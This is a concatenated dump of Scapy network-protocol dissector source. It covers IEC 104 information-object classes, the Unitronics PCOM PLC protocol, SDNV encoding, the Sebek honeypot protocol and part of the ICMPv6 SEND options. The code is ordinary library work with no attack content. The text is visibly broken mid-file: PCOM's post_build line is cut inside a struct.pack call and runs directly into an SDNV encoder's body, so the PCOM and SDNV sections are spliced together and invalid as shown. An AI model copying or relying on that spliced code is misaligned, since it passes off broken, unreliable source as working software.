IEC104_IO_M_EP_TB_1_IOA(IEC104_IO_M_EP_TB_1): """ extended version of IEC104_IO_M_EP_TB_1 containing an individual information object address """ name = 'M_EP_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TB_1.fields_desc class IEC104_IO_M_EP_TC_1_IOA(IEC104_IO_M_EP_TC_1): """ extended version of IEC104_IO_M_EP_TC_1 containing an individual information object address """ name = 'M_EP_TC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TC_1.fields_desc class IEC104_IO_M_PS_NA_1_IOA(IEC104_IO_M_PS_NA_1): """ extended version of IEC104_IO_M_PS_NA_1 containing an individual information object address """ name = 'M_PS_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_PS_NA_1.fields_desc class IEC104_IO_M_ME_ND_1_IOA(IEC104_IO_M_ME_ND_1): """ extended version of IEC104_IO_M_ME_ND_1 containing an individual information object address """ name = 'M_ME_ND_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_ND_1.fields_desc class IEC104_IO_M_SP_TB_1_IOA(IEC104_IO_M_SP_TB_1): """ extended version of IEC104_IO_M_SP_TB_1 containing an individual information object address """ name = 'M_SP_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_SP_TB_1.fields_desc class IEC104_IO_M_DP_TB_1_IOA(IEC104_IO_M_DP_TB_1): """ extended version of IEC104_IO_M_DP_TB_1 containing an individual information object address """ name = 'M_DP_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_DP_TB_1.fields_desc class IEC104_IO_M_ST_TB_1_IOA(IEC104_IO_M_ST_TB_1): """ extended version of IEC104_IO_M_ST_TB_1 containing an individual information object address """ name = 'M_ST_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ST_TB_1.fields_desc class IEC104_IO_M_BO_TB_1_IOA(IEC104_IO_M_BO_TB_1): """ extended version of IEC104_IO_M_BO_TB_1 containing an individual information object address """ name = 'M_BO_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_BO_TB_1.fields_desc class IEC104_IO_M_ME_TD_1_IOA(IEC104_IO_M_ME_TD_1): """ extended version of IEC104_IO_M_ME_TD_1 containing an individual information object address """ name = 'M_ME_TD_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TD_1.fields_desc class IEC104_IO_M_ME_TE_1_IOA(IEC104_IO_M_ME_TE_1): """ extended version of IEC104_IO_M_ME_TE_1 containing an individual information object address """ name = 'M_ME_TE_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TE_1.fields_desc class IEC104_IO_M_ME_TF_1_IOA(IEC104_IO_M_ME_TF_1): """ extended version of IEC104_IO_M_ME_TF_1 containing an individual information object address """ name = 'M_ME_TF_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TF_1.fields_desc class IEC104_IO_M_IT_TB_1_IOA(IEC104_IO_M_IT_TB_1): """ extended version of IEC104_IO_M_IT_TB_1 containing an individual information object address """ name = 'M_IT_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_IT_TB_1.fields_desc class IEC104_IO_M_EP_TD_1_IOA(IEC104_IO_M_EP_TD_1): """ extended version of IEC104_IO_M_EP_TD_1 containing an individual information object address """ name = 'M_EP_TD_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TD_1.fields_desc class IEC104_IO_M_EP_TE_1_IOA(IEC104_IO_M_EP_TE_1): """ extended version of IEC104_IO_M_EP_TE_1 containing an individual information object address """ name = 'M_EP_TE_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TE_1.fields_desc class IEC104_IO_M_EP_TF_1_IOA(IEC104_IO_M_EP_TF_1): """ extended version of IEC104_IO_M_EP_TF_1 containing an individual information object address """ name = 'M_EP_TF_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TF_1.fields_desc class IEC104_IO_C_SC_NA_1_IOA(IEC104_IO_C_SC_NA_1): """ extended version of IEC104_IO_C_SC_NA_1 containing an individual information object address """ name = 'C_SC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SC_NA_1.fields_desc class IEC104_IO_C_DC_NA_1_IOA(IEC104_IO_C_DC_NA_1): """ extended version of IEC104_IO_C_DC_NA_1 containing an individual information object address """ name = 'C_DC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_DC_NA_1.fields_desc class IEC104_IO_C_RC_NA_1_IOA(IEC104_IO_C_RC_NA_1): """ extended version of IEC104_IO_C_RC_NA_1 containing an individual information object address """ name = 'C_RC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_RC_NA_1.fields_desc class IEC104_IO_C_SE_NA_1_IOA(IEC104_IO_C_SE_NA_1): """ extended version of IEC104_IO_C_SE_NA_1 containing an individual information object address """ name = 'C_SE_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_NA_1.fields_desc class IEC104_IO_C_SE_NB_1_IOA(IEC104_IO_C_SE_NB_1): """ extended version of IEC104_IO_C_SE_NB_1 containing an individual information object address """ name = 'C_SE_NB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_NB_1.fields_desc class IEC104_IO_C_SE_NC_1_IOA(IEC104_IO_C_SE_NC_1): """ extended version of IEC104_IO_C_SE_NC_1 containing an individual information object address """ name = 'C_SE_NC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_NC_1.fields_desc class IEC104_IO_C_BO_NA_1_IOA(IEC104_IO_C_BO_NA_1): """ extended version of IEC104_IO_C_BO_NA_1 containing an individual information object address """ name = 'C_BO_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_BO_NA_1.fields_desc class IEC104_IO_C_SC_TA_1_IOA(IEC104_IO_C_SC_TA_1): """ extended version of IEC104_IO_C_SC_TA_1 containing an individual information object address """ name = 'C_SC_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SC_TA_1.fields_desc class IEC104_IO_C_DC_TA_1_IOA(IEC104_IO_C_DC_TA_1): """ extended version of IEC104_IO_C_DC_TA_1 containing an individual information object address """ name = 'C_DC_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_DC_TA_1.fields_desc class IEC104_IO_C_RC_TA_1_IOA(IEC104_IO_C_RC_TA_1): """ extended version of IEC104_IO_C_RC_TA_1 containing an individual information object address """ name = 'C_RC_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_RC_TA_1.fields_desc class IEC104_IO_C_SE_TA_1_IOA(IEC104_IO_C_SE_TA_1): """ extended version of IEC104_IO_C_SE_TA_1 containing an individual information object address """ name = 'C_SE_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_TA_1.fields_desc class IEC104_IO_C_SE_TB_1_IOA(IEC104_IO_C_SE_TB_1): """ extended version of IEC104_IO_C_SE_TB_1 containing an individual information object address """ name = 'C_SE_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_TB_1.fields_desc class IEC104_IO_C_SE_TC_1_IOA(IEC104_IO_C_SE_TC_1): """ extended version of IEC104_IO_C_SE_TC_1 containing an individual information object address """ name = 'C_SE_TC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_TC_1.fields_desc class IEC104_IO_C_BO_TA_1_IOA(IEC104_IO_C_BO_TA_1): """ extended version of IEC104_IO_C_BO_TA_1 containing an individual information object address """ name = 'C_BO_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_BO_TA_1.fields_desc class IEC104_IO_M_EI_NA_1_IOA(IEC104_IO_M_EI_NA_1): """ extended version of IEC104_IO_M_EI_NA_1 containing an individual information object address """ name = 'M_EI_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EI_NA_1.fields_desc class IEC104_IO_C_IC_NA_1_IOA(IEC104_IO_C_IC_NA_1): """ extended version of IEC104_IO_C_IC_NA_1 containing an individual information object address """ name = 'C_IC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_IC_NA_1.fields_desc class IEC104_IO_C_CI_NA_1_IOA(IEC104_IO_C_CI_NA_1): """ extended version of IEC104_IO_C_CI_NA_1 containing an individual information object address """ name = 'C_CI_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_CI_NA_1.fields_desc class IEC104_IO_C_RD_NA_1_IOA(IEC104_IO_C_RD_NA_1): """ extended version of IEC104_IO_C_RD_NA_1 containing an individual information object address """ name = 'C_RD_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_RD_NA_1.fields_desc class IEC104_IO_C_CS_NA_1_IOA(IEC104_IO_C_CS_NA_1): """ extended version of IEC104_IO_C_CS_NA_1 containing an individual information object address """ name = 'C_CS_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_CS_NA_1.fields_desc class IEC104_IO_C_TS_NA_1_IOA(IEC104_IO_C_TS_NA_1): """ extended version of IEC104_IO_C_TS_NA_1 containing an individual information object address """ name = 'C_TS_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_TS_NA_1.fields_desc class IEC104_IO_C_RP_NA_1_IOA(IEC104_IO_C_RP_NA_1): """ extended version of IEC104_IO_C_RP_NA_1 containing an individual information object address """ name = 'C_RP_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_RP_NA_1.fields_desc class IEC104_IO_C_CD_NA_1_IOA(IEC104_IO_C_CD_NA_1): """ extended version of IEC104_IO_C_CD_NA_1 containing an individual information object address """ name = 'C_CD_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_CD_NA_1.fields_desc class IEC104_IO_C_TS_TA_1_IOA(IEC104_IO_C_TS_TA_1): """ extended version of IEC104_IO_C_TS_TA_1 containing an individual information object address """ name = 'C_TS_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_TS_TA_1.fields_desc class IEC104_IO_P_ME_NA_1_IOA(IEC104_IO_P_ME_NA_1): """ extended version of IEC104_IO_P_ME_NA_1 containing an individual information object address """ name = 'P_ME_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_P_ME_NA_1.fields_desc class IEC104_IO_P_ME_NB_1_IOA(IEC104_IO_P_ME_NB_1): """ extended version of IEC104_IO_P_ME_NB_1 containing an individual information object address """ name = 'P_ME_NB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_P_ME_NB_1.fields_desc class IEC104_IO_P_ME_NC_1_IOA(IEC104_IO_P_ME_NC_1): """ extended version of IEC104_IO_P_ME_NC_1 containing an individual information object address """ name = 'P_ME_NC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_P_ME_NC_1.fields_desc class IEC104_IO_P_AC_NA_1_IOA(IEC104_IO_P_AC_NA_1): """ extended version of IEC104_IO_P_AC_NA_1 containing an individual information object address """ name = 'P_AC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_P_AC_NA_1.fields_desc class IEC104_IO_F_FR_NA_1_IOA(IEC104_IO_F_FR_NA_1): """ extended version of IEC104_IO_F_FR_NA_1 containing an individual information object address """ name = 'F_FR_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_FR_NA_1.fields_desc class IEC104_IO_F_SR_NA_1_IOA(IEC104_IO_F_SR_NA_1): """ extended version of IEC104_IO_F_SR_NA_1 containing an individual information object address """ name = 'F_SR_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_SR_NA_1.fields_desc class IEC104_IO_F_SC_NA_1_IOA(IEC104_IO_F_SC_NA_1): """ extended version of IEC104_IO_F_SC_NA_1 containing an individual information object address """ name = 'F_SC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_SC_NA_1.fields_desc class IEC104_IO_F_LS_NA_1_IOA(IEC104_IO_F_LS_NA_1): """ extended version of IEC104_IO_F_LS_NA_1 containing an individual information object address """ name = 'F_LS_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_LS_NA_1.fields_desc class IEC104_IO_F_AF_NA_1_IOA(IEC104_IO_F_AF_NA_1): """ extended version of IEC104_IO_F_AF_NA_1 containing an individual information object address """ name = 'F_AF_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_AF_NA_1.fields_desc class IEC104_IO_F_SG_NA_1_IOA(IEC104_IO_F_SG_NA_1): """ extended version of IEC104_IO_F_SG_NA_1 containing an individual information object address """ name = 'F_SG_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_SG_NA_1.fields_desc class IEC104_IO_F_DR_TA_1_IOA(IEC104_IO_F_DR_TA_1): """ extended version of IEC104_IO_F_DR_TA_1 containing an individual information object address """ name = 'F_DR_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_DR_TA_1.fields_desc class IEC104_IO_F_SC_NB_1_IOA(IEC104_IO_F_SC_NB_1): """ extended version of IEC104_IO_F_SC_NB_1 containing an individual information object address """ name = 'F_SC_NB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_SC_NB_1.fields_desc IEC104_IO_WITH_IOA_CLASSES = { IEC104_IO_ID_M_SP_NA_1: IEC104_IO_M_SP_NA_1_IOA, IEC104_IO_ID_M_SP_TA_1: IEC104_IO_M_SP_TA_1_IOA, IEC104_IO_ID_M_DP_NA_1: IEC104_IO_M_DP_NA_1_IOA, IEC104_IO_ID_M_DP_TA_1: IEC104_IO_M_DP_TA_1_IOA, IEC104_IO_ID_M_ST_NA_1: IEC104_IO_M_ST_NA_1_IOA, IEC104_IO_ID_M_ST_TA_1: IEC104_IO_M_ST_TA_1_IOA, IEC104_IO_ID_M_BO_NA_1: IEC104_IO_M_BO_NA_1_IOA, IEC104_IO_ID_M_BO_TA_1: IEC104_IO_M_BO_TA_1_IOA, IEC104_IO_ID_M_ME_NA_1: IEC104_IO_M_ME_NA_1_IOA, IEC104_IO_ID_M_ME_TA_1: IEC104_IO_M_ME_TA_1_IOA, IEC104_IO_ID_M_ME_NB_1: IEC104_IO_M_ME_NB_1_IOA, IEC104_IO_ID_M_ME_TB_1: IEC104_IO_M_ME_TB_1_IOA, IEC104_IO_ID_M_ME_NC_1: IEC104_IO_M_ME_NC_1_IOA, IEC104_IO_ID_M_ME_TC_1: IEC104_IO_M_ME_TC_1_IOA, IEC104_IO_ID_M_IT_NA_1: IEC104_IO_M_IT_NA_1_IOA, IEC104_IO_ID_M_IT_TA_1: IEC104_IO_M_IT_TA_1_IOA, IEC104_IO_ID_M_EP_TA_1: IEC104_IO_M_EP_TA_1_IOA, IEC104_IO_ID_M_EP_TB_1: IEC104_IO_M_EP_TB_1_IOA, IEC104_IO_ID_M_EP_TC_1: IEC104_IO_M_EP_TC_1_IOA, IEC104_IO_ID_M_PS_NA_1: IEC104_IO_M_PS_NA_1_IOA, IEC104_IO_ID_M_ME_ND_1: IEC104_IO_M_ME_ND_1_IOA, IEC104_IO_ID_M_SP_TB_1: IEC104_IO_M_SP_TB_1_IOA, IEC104_IO_ID_M_DP_TB_1: IEC104_IO_M_DP_TB_1_IOA, IEC104_IO_ID_M_ST_TB_1: IEC104_IO_M_ST_TB_1_IOA, IEC104_IO_ID_M_BO_TB_1: IEC104_IO_M_BO_TB_1_IOA, IEC104_IO_ID_M_ME_TD_1: IEC104_IO_M_ME_TD_1_IOA, IEC104_IO_ID_M_ME_TE_1: IEC104_IO_M_ME_TE_1_IOA, IEC104_IO_ID_M_ME_TF_1: IEC104_IO_M_ME_TF_1_IOA, IEC104_IO_ID_M_IT_TB_1: IEC104_IO_M_IT_TB_1_IOA, IEC104_IO_ID_M_EP_TD_1: IEC104_IO_M_EP_TD_1_IOA, IEC104_IO_ID_M_EP_TE_1: IEC104_IO_M_EP_TE_1_IOA, IEC104_IO_ID_M_EP_TF_1: IEC104_IO_M_EP_TF_1_IOA, IEC104_IO_ID_C_SC_NA_1: IEC104_IO_C_SC_NA_1_IOA, IEC104_IO_ID_C_DC_NA_1: IEC104_IO_C_DC_NA_1_IOA, IEC104_IO_ID_C_RC_NA_1: IEC104_IO_C_RC_NA_1_IOA, IEC104_IO_ID_C_SE_NA_1: IEC104_IO_C_SE_NA_1_IOA, IEC104_IO_ID_C_SE_NB_1: IEC104_IO_C_SE_NB_1_IOA, IEC104_IO_ID_C_SE_NC_1: IEC104_IO_C_SE_NC_1_IOA, IEC104_IO_ID_C_BO_NA_1: IEC104_IO_C_BO_NA_1_IOA, IEC104_IO_ID_C_SC_TA_1: IEC104_IO_C_SC_TA_1_IOA, IEC104_IO_ID_C_DC_TA_1: IEC104_IO_C_DC_TA_1_IOA, IEC104_IO_ID_C_RC_TA_1: IEC104_IO_C_RC_TA_1_IOA, IEC104_IO_ID_C_SE_TA_1: IEC104_IO_C_SE_TA_1_IOA, IEC104_IO_ID_C_SE_TB_1: IEC104_IO_C_SE_TB_1_IOA, IEC104_IO_ID_C_SE_TC_1: IEC104_IO_C_SE_TC_1_IOA, IEC104_IO_ID_C_BO_TA_1: IEC104_IO_C_BO_TA_1_IOA, IEC104_IO_ID_M_EI_NA_1: IEC104_IO_M_EI_NA_1_IOA, IEC104_IO_ID_C_IC_NA_1: IEC104_IO_C_IC_NA_1_IOA, IEC104_IO_ID_C_CI_NA_1: IEC104_IO_C_CI_NA_1_IOA, IEC104_IO_ID_C_RD_NA_1: IEC104_IO_C_RD_NA_1_IOA, IEC104_IO_ID_C_CS_NA_1: IEC104_IO_C_CS_NA_1_IOA, IEC104_IO_ID_C_TS_NA_1: IEC104_IO_C_TS_NA_1_IOA, IEC104_IO_ID_C_RP_NA_1: IEC104_IO_C_RP_NA_1_IOA, IEC104_IO_ID_C_CD_NA_1: IEC104_IO_C_CD_NA_1_IOA, IEC104_IO_ID_C_TS_TA_1: IEC104_IO_C_TS_TA_1_IOA, IEC104_IO_ID_P_ME_NA_1: IEC104_IO_P_ME_NA_1_IOA, IEC104_IO_ID_P_ME_NB_1: IEC104_IO_P_ME_NB_1_IOA, IEC104_IO_ID_P_ME_NC_1: IEC104_IO_P_ME_NC_1_IOA, IEC104_IO_ID_P_AC_NA_1: IEC104_IO_P_AC_NA_1_IOA, IEC104_IO_ID_F_FR_NA_1: IEC104_IO_F_FR_NA_1_IOA, IEC104_IO_ID_F_SR_NA_1: IEC104_IO_F_SR_NA_1_IOA, IEC104_IO_ID_F_SC_NA_1: IEC104_IO_F_SC_NA_1_IOA, IEC104_IO_ID_F_LS_NA_1: IEC104_IO_F_LS_NA_1_IOA, IEC104_IO_ID_F_AF_NA_1: IEC104_IO_F_AF_NA_1_IOA, IEC104_IO_ID_F_SG_NA_1: IEC104_IO_F_SG_NA_1_IOA, IEC104_IO_ID_F_DR_TA_1: IEC104_IO_F_DR_TA_1_IOA, IEC104_IO_ID_F_SC_NB_1: IEC104_IO_F_SC_NB_1_IOA } ================================================ FILE: scapy/contrib/scada/pcom.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2019 Luis Rosa # scapy.contrib.description = PCOM Protocol # scapy.contrib.status = loads """ PCOM PCOM is a protocol to communicate with Unitronics PLCs either by serial or TCP. Two modes are available, ASCII and Binary. https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf """ import struct from scapy.packet import Packet, bind_layers from scapy.layers.inet import TCP from scapy.fields import XShortField, ByteEnumField, XByteField, \ StrFixedLenField, StrLenField, LEShortField, \ LEFieldLenField, XLE3BytesField, XLEShortField from scapy.volatile import RandShort from scapy.compat import bytes_encode, orb _protocol_modes = {0x65: "ascii", 0x66: "binary"} _ascii_command_codes = { "ID": "Send Identification Command", "CCR": "Send Start Command", "CCS": "Send Stop Command", "CCE": "Send Reset Command", "CCI": "Send Init Command", "CC": "Reply of Admin Commands (CC*)", "UG": "Get UnitID", "US": "Set UnitID", "RC": "Get RTC", "SC": "Set RTC", "RE": "Read Inputs", "RA": "Read Outputs", "GS": "Read System Bits", "GF": "Read System Integers", "RNH": "Read System Longs", "RNJ": "Read System Double Words", "RB": "Read Memory Bits", "RW": "Read Memory Integers", "RNL": "Read Memory Longs", "RND": "Read Memory Double Words", "RN": "Read Longs / Double Words", "SA": "Write Outputs", "SS": "Write System Bits", "SF": "Write System Integers", "SNH": "Write System Longs", "SNJ": "Write System Double Words", "SB": "Write Memory Bits", "SW": "Write Memory Integers", "SNL": "Write Memory Longs", "SND": "Write Memory Double Words", "SN": "Write Longs / Double Words" } _binary_command_codes = { 0x0c: "Get PLC Name Request", 0x8c: "Get PLC Name Reply", 0x4d: "Read Operands Request", 0xcd: "Read Operands Reply", 0x04: "Read Data Table Request", 0x84: "Read Data Table Reply", 0x44: "Write Data Table Request", 0xc4: "Write Data Table Reply" } class PCOM(Packet): fields_desc = [ XShortField("transId", RandShort()), ByteEnumField("mode", 0x65, _protocol_modes), XByteField("reserved", 0x00), LEShortField("len", None) ] def post_build(self, pkt, pay): if self.len is None and pay: pkt = pkt[:4] + struct.pack(" self.maxValue: raise SDNVValueError(self.maxValue) foo = bytearray() foo.append(number & 0x7F) number = number >> 7 while (number > 0): thisByte = number & 0x7F thisByte |= 0x80 number = number >> 7 temp = bytearray() temp.append(thisByte) foo = temp + foo return foo def decode(self, ba, offset): number = 0 numBytes = 1 b = ba[offset] number = (b & 0x7F) while (b & 0x80 == 0x80): number = number << 7 if (number > self.maxValue): raise SDNVValueError(self.maxValue) b = ba[offset + numBytes] number += (b & 0x7F) numBytes += 1 if (number > self.maxValue): raise SDNVValueError(self.maxValue) return number, numBytes SDNVUtil = SDNV() class SDNV2(Field): """ SDNV2 field """ def addfield(self, pkt, s, val): return s + raw(SDNVUtil.encode(val)) def getfield(self, pkt, s): b = bytearray(s) val, len = SDNVUtil.decode(b, 0) return s[len:], val class SDNV2FieldLenField(FieldLenField, SDNV2): def addfield(self, pkt, s, val): return s + raw(SDNVUtil.encode(FieldLenField.i2m(self, pkt, val))) class SDNV2LenField(LenField, SDNV2): def addfield(self, pkt, s, val): return s + raw(SDNVUtil.encode(LenField.i2m(self, pkt, val))) ================================================ FILE: scapy/contrib/sebek.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Sebek: kernel module for data collection on honeypots. """ # scapy.contrib.description = Sebek # scapy.contrib.status = loads from scapy.fields import FieldLenField, IPField, IntField, ShortEnumField, \ ShortField, StrFixedLenField, StrLenField, XIntField, ByteEnumField from scapy.packet import Packet, bind_layers from scapy.layers.inet import UDP from scapy.data import IP_PROTOS # SEBEK class SebekHead(Packet): name = "Sebek header" fields_desc = [XIntField("magic", 0xd0d0d0), ShortField("version", 1), ShortEnumField("type", 0, {"read": 0, "write": 1, "socket": 2, "open": 3}), IntField("counter", 0), IntField("time_sec", 0), IntField("time_usec", 0)] def mysummary(self): return self.sprintf("Sebek Header v%SebekHead.version% %SebekHead.type%") # noqa: E501 # we need this because Sebek headers differ between v1 and v3, and # between v3 type socket and v3 others class SebekV1(Packet): name = "Sebek v1" fields_desc = [IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), StrFixedLenField("cmd", "", 12), FieldLenField("data_length", None, "data", fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length)] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v1 %SebekHead.type% (%SebekV1.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v1 (%SebekV1.cmd%)") class SebekV3(Packet): name = "Sebek v3" fields_desc = [IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("cmd", "", 12), FieldLenField("data_length", None, "data", fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length)] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v3 (%SebekV3.cmd%)") class SebekV2(SebekV3): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v2 (%SebekV2.cmd%)") class SebekV3Sock(Packet): name = "Sebek v2 socket" fields_desc = [IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("cmd", "", 12), IntField("data_length", 15), IPField("dip", "127.0.0.1"), ShortField("dport", 0), IPField("sip", "127.0.0.1"), ShortField("sport", 0), ShortEnumField("call", 0, {"bind": 2, "connect": 3, "listen": 4, "accept": 5, "sendmsg": 16, "recvmsg": 17, "sendto": 11, "recvfrom": 12}), ByteEnumField("proto", 0, IP_PROTOS)] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3Sock.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v3 socket (%SebekV3Sock.cmd%)") class SebekV2Sock(SebekV3Sock): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2Sock.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v2 socket (%SebekV2Sock.cmd%)") bind_layers(UDP, SebekHead, sport=1101) bind_layers(UDP, SebekHead, dport=1101) bind_layers(UDP, SebekHead, dport=1101, sport=1101) bind_layers(SebekHead, SebekV1, version=1) bind_layers(SebekHead, SebekV2Sock, version=2, type=2) bind_layers(SebekHead, SebekV2, version=2) bind_layers(SebekHead, SebekV3Sock, version=3, type=2) bind_layers(SebekHead, SebekV3, version=3) ================================================ FILE: scapy/contrib/send.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2009 Adline Stephane # Copyright 2018 Gabriel Potter """ Secure Neighbor Discovery (SEND) - RFC3971 """ # scapy.contrib.description = Secure Neighbor Discovery (SEND) (ICMPv6) # scapy.contrib.status = loads from scapy.packet import Packet from scapy.fields import BitField, ByteField, FieldLenField, PacketField, \ PacketLenField, ShortField, StrFixedLenField, StrLenField, UTCTimeField from scapy.layers.x509 import X509_SubjectPublicKeyInfo from scapy.layers.inet6 import icmp6ndoptscls, _ICMPv6NDGuessPayload from scapy.compat import chb from scapy.volatile import RandBin class ICMPv6NDOptNonce(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptNonce" fields_desc = [ByteField("type", 14), FieldLenField("len", None, length_of="nonce", fmt="B", adjust=lambda pkt, x: int(round((x + 2) / 8.))), # noqa: E501 StrLenField("nonce", "", length_from=lambda pkt: pkt.len * 8 - 2)] # noqa: E501 class ICMPv6NDOptTmstp(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptTmstp" fields_desc = [ByteField("type", 13), ByteField("len", 2), BitField("reserved", 0, 48), UTCTimeField("timestamp", None)] class ICMPv6NDOptRsaSig(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptRsaSig" fields_desc = [ByteField("type", 12), FieldLenField("len", None, length_of="signature_pad", fmt="B", adjust=lambda pkt, x: (x + 20) // 8), # noqa: E501 ShortField("reserved", 0), StrFixedLenField("key_hash", "", length=16), StrLenField("signature_pad", "", length_from=lambda pkt: pkt.len * 8 - 20)] # noqa: E501 class CGA_Params(Packet): name = "CGA Parameters data structure" fields_desc = [StrFixedLenField("modifier", RandBin(size=16), length=16), StrFixedLenField("subprefix", "", length=8), ByteField("cc", 0), PacketField("pubkey", X509_SubjectPublicKeyInfo(), X509_SubjectPublicKeyInfo)] class ICMPv6NDOptCGA(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptCGA" fields_desc = [ByteField("type", 11), FieldLenField("len", None, length_of="CGA_PARAMS", fmt="B", adjust=lambda pkt, x: (x + pkt.padlength + 4) // 8), # noqa: E501 FieldLenField("padlength", 0, length_of="padding", fmt="B"), ByteField("reserved", 0), 